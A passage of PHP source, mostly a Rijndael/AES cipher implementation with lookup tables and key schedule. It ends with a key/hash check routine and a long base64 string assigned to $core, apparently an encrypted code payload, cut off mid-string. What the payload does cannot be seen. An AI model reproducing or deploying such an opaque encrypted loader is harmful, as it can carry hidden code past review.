$Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $w[++$wc]; } $temp = array(); for ($round = 1; $round < $Nr; ++$round) {
$i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = $t0[$state[$i] >> 24 & 0x000000FF] ^ $t1[$state[$j] >> 16 & 0x000000FF] ^ $t2[$state[$k] >> 8
& 0x000000FF] ^ $t3[$state[$l] & 0x000000FF] ^ $w[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } for ($i = 0; $i <
$Nb; ++$i) { $state[$i] = $sbox[$state[$i] & 0x000000FF] | ($sbox[$state[$i] >> 8 & 0x000000FF] << 8) | ($sbox[$state[$i] >> 16 & 0x000000FF] << 16) |
($sbox[$state[$i] >> 24 & 0x000000FF] << 24); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] &
0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$i]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case
8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3],
$temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1],
$temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } function _decryptBlock($in) { static $invtables; if
(empty($invtables)) { $invtables = &$this->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $dw = $this->dw; $Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) {
$state[] = $word ^ $dw[++$wc]; } $temp = array(); for ($round = $Nr - 1; $round > 0; --$round) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i <
$Nb) { $temp[$i] = $dt0[$state[$i] >> 24 & 0x000000FF] ^ $dt1[$state[$j] >> 16 & 0x000000FF] ^ $dt2[$state[$k] >> 8 & 0x000000FF] ^ $dt3[$state[$l] & 0x000000FF] ^
$dw[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while
($i < $Nb) { $word = ($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF); $temp[$i] = $dw[$i] ^ ($isbox[$word
& 0x000000FF] | ($isbox[$word >> 8 & 0x000000FF] << 8) | ($isbox[$word >> 16 & 0x000000FF] << 16) | ($isbox[$word >> 24 & 0x000000FF] << 24)); ++$i; $j = ($j +
1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6],
$temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2],
$temp[3]); } } function _setupKey() { static $rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000,
0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000,
0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000); if (isset($this->kl['key']) && $this->key === $this->kl['key'] && $this->key_length
=== $this->kl['key_length'] && $this->block_size === $this->kl['block_size']) { return; } $this->kl = array('key' => $this->key, 'key_length' => $this->key_length,
'block_size' => $this->block_size); $this->Nk = $this->key_length >> 2; $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c =
array(0, 1, 2, 3); break; case 7: $this->c = array(0, 1, 2, 4); break; case 8: $this->c = array(0, 1, 3, 4); } $w = array_values(unpack('N*words', $this->key)); $length =
$this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >>
24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } elseif ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] =
$w[$i - $this->Nk] ^ $temp; } list($dt0, $dt1, $dt2, $dt3) = $this->_getInvTables(); $temp = $this->w = $this->dw = array(); for ($i = $row = $col = 0; $i < $length;
$i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]);
$temp[$j] = $dt0[$dw >> 24 & 0x000000FF] ^ $dt1[$dw >> 16 & 0x000000FF] ^ $dt2[$dw >> 8 & 0x000000FF] ^ $dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; }
$col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->dw = array_reverse($this->dw); $w = array_pop($this->w); $dw =
array_pop($this->dw); foreach ($this->w as $r => $wr) { foreach ($wr as $c => $wc) { $w[] = $wc; $dw[] = $this->dw[$r][$c]; } } $this->w = $w; $this->dw = $dw; }
function _subWord($word) { static $sbox; if (empty($sbox)) { list(, , , , $sbox) = $this->_getTables(); } return $sbox[$word & 0x000000FF] | ($sbox[$word >>
8 & 0x000000FF] << 8) | ($sbox[$word >> 16 & 0x000000FF] << 16) | ($sbox[$word >> 24 & 0x000000FF] << 24); } function &_getTables() { static $tables; if (empty($tables))
{ $t3 = array_map('intval', array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE,
0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41,
0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5,
0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830,
0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458,
0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6,
0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0,
0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0,
0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF,
0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793,
0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B,
0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92,
0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E,
0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F,
0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D,
0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117,
0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215,
0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382,
0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C)); foreach ($t3 as $t3i) { $t0[] = (($t3i << 24) & 0xFF000000) | (($t3i >> 8) &
0x00FFFFFF); $t1[] = (($t3i << 16) & 0xFFFF0000) | (($t3i >> 16) & 0x0000FFFF); $t2[] = (($t3i << 8) & 0xFFFFFF00) | (($t3i >> 24) & 0x000000FF); } $tables = array( $t0,
$t1, $t2, $t3, array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3,
0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17,
0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A,
0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68,
0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16)); } return $tables; } function &_getInvTables() { static $tables; if (empty($tables)) { $dt3 = array_map('intval', array(
0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5,
0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95,
0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5,
0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66,
0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506,
0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D,
0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C,
0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24,
0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2,
0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8,
0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9,
0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F,
0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710,
0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629,
0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43,
0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D,
0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F,
0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064,
0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0)); foreach ($dt3 as $dt3i) { $dt0[] = (($dt3i << 24) & 0xFF000000) | (($dt3i >> 8) & 0x00FFFFFF); $dt1[] = (($dt3i << 16)
& 0xFFFF0000) | (($dt3i >> 16) & 0x0000FFFF); $dt2[] = (($dt3i << 8) & 0xFFFFFF00) | (($dt3i >> 24) & 0x000000FF); }; $tables = array( $dt0, $dt1, $dt2, $dt3, array(
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44,
0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2,
0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50,
0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE,
0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89,
0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33,
0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63,
0x55, 0x21, 0x0C, 0x7D)); } return $tables; } function _setupInlineCrypt() { $lambda_functions =& self::_getLambdaFunctions(); $gen_hi_opt_code =
(bool)(count($lambda_functions) < 10); $code_hash = "Crypt_Rijndael, {$this->mode}, {$this->Nr}, {$this->Nb}"; if ($gen_hi_opt_code) { $code_hash = str_pad($code_hash,
32) . $this->_hashInlineCryptFunction($this->key); } if (!isset($lambda_functions[$code_hash])) { switch (true) { case $gen_hi_opt_code: $w = $this->w; $dw = $this->dw;
$init_encrypt = ''; $init_decrypt = ''; break; default: for ($i = 0, $cw = count($this->w); $i < $cw; ++$i) { $w[] = '$w[' . $i . ']'; $dw[] = '$dw[' . $i . ']'; }
$init_encrypt = '$w = $self->w;'; $init_decrypt = '$dw = $self->dw;'; } $Nr = $this->Nr; $Nb = $this->Nb; $c = $this->c; $init_encrypt.= ' static $tables; if
(empty($tables)) { $tables = &$self->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; '; $s = 'e'; $e
= 's'; $wc = $Nb - 1; $encrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^
'.$w[++$wc].";\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $t0[($'.$s.$i
.' >> 24) & 0xff] ^ $t1[($'.$s.(($i + $c[1]) % $Nb).' >> 16) & 0xff] ^ $t2[($'.$s.(($i + $c[2]) % $Nb).' >> 8) & 0xff] ^ $t3[ $'.$s.(($i + $c[3]) % $Nb).' & 0xff]
^ '.$w[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $sbox[ $'.$e.$i.' & 0xff] | ($sbox[($'.$e.$i.' >> 8) & 0xff] << 8)
| ($sbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($sbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."\n"; } $encrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) {
$encrypt_block.= ', ($'.$e.$i .' & '.((int)0xFF000000).') ^ ($'.$e.(($i + $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($i + $c[2]) % $Nb).' &
0x0000FF00 ) ^ ($'.$e.(($i + $c[3]) % $Nb).' & 0x000000FF ) ^ '.$w[$i]."\n"; } $encrypt_block .= ');'; $init_decrypt.= ' static $invtables; if
(empty($invtables)) { $invtables = &$self->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox =
$invtables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; $decrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block .= '$s'.$i.' =
$in['.($i + 1).'] ^ '.$dw[++$wc].';'."\n"; } for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.=
'$'.$e.$i.' = $dt0[($'.$s.$i .' >> 24) & 0xff] ^ $dt1[($'.$s.(($Nb + $i - $c[1]) % $Nb).' >> 16) & 0xff] ^ $dt2[($'.$s.(($Nb + $i - $c[2]) % $Nb).'
>> 8) & 0xff] ^ $dt3[ $'.$s.(($Nb + $i - $c[3]) % $Nb).' & 0xff] ^ '.$dw[++$wc].";\n"; } } for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $isbox[
$'.$e.$i.' & 0xff] | ($isbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($isbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($isbox[($'.$e.$i.' >> 24) & 0xff] <<
24);'."\n"; } $decrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= ', ($'.$e.$i. ' & '.((int)0xFF000000).') ^
($'.$e.(($Nb + $i - $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($Nb + $i - $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($Nb + $i - $c[3]) % $Nb).' &
0x000000FF ) ^ '.$dw[$i]."\n"; } $decrypt_block .= ');'; $lambda_functions[$code_hash] = $this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt'
=> $init_encrypt, 'init_decrypt' => $init_decrypt, 'encrypt_block' => $encrypt_block, 'decrypt_block' => $decrypt_block)); } $this->inline_crypt =
$lambda_functions[$code_hash]; } }
function d($i, $k, $v){ $r = new Rjn(Rjn::MODE_CBC); $r->setPreferredEngine(Rjn::ENGINE_INTERNAL); $r->setBlockLength(128); $r->disablePadding(); $r->setKey($k); $r->setIv($v); return $r->decrypt($i); }
function h($i){return hash('sha256',$i);}
if(!$k){ik();}if(!$i){ua();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$core='bXL8XpITzSoRcnYdKO7+Bw7GLOUqJvFaapsN6Cm7td+Xm8XlAgcAQjfsDKKkIJ9oac0UDctg/V48dBW2Y655VT03KpOmEeA2QZvvNJmTzqQhd3lK+/nRJjzN76P67G81ZLPsa+6t+vqW87Qs+nux1WoVX7x9R0yEAon55NgRkr4Zyr64qoh5olsJR3RwPE8p7HeCkwc5jaA+l/BOW+JTSM/I2fiGaON0WVXNuu8coM2NeacBryjtpsPXq2oQ6iXNLnjNBzjr9Ah35GGewAS/xbRSBa7YEye7g/7ESZj07m4cb6F3KAl95fEauCycGaeFvqD8YXy9zceemaeg9NI1t+dG6nH1MiloWYtYKVUlWKAS6gC9H7dnaVcRald3RNnOsJR1+u9V1HfcnSz2Pq9D1vMukwy6lG4dvScWCLJ/APaDOuM6cBxPXeNV4+BX15rE9lAXx9ggJVQqke2RLqLEiKeu6p3qUOyCt8/u2oqGXhMESH9nU8kRmddLXuKNMW06dZiWwV5cyCZ+iQcPGHUel/JIb+SxjiGMCjrCa3b4vVDrQb2sa7hqMyrPgjIPzU2imV48F31wiWMQbmS1xpAGSbQH7z5XNEdAd4OgVCnBdmb0Ao3euX79PkVO50jrQIbt1w/WWrQePTWLcDaJNlGUURrM+gZwZCtfsH0JZ6nyimJJ4I7/h9CyVSqmWVo6bPV5JafoYeBb7xASBcfXNBx4C6aFuOLceJhbaKNE/18GNsTbC2C1XPO2FiovNHRI9ajgr9MJ7YWhZ2idTSyC7GaOJf7xa771WtoSsrzvSUz5GtMvotD+kPAxMLmrOlq+5hJarAUO6vRwGO8qxDS10cb8xb/pVZ5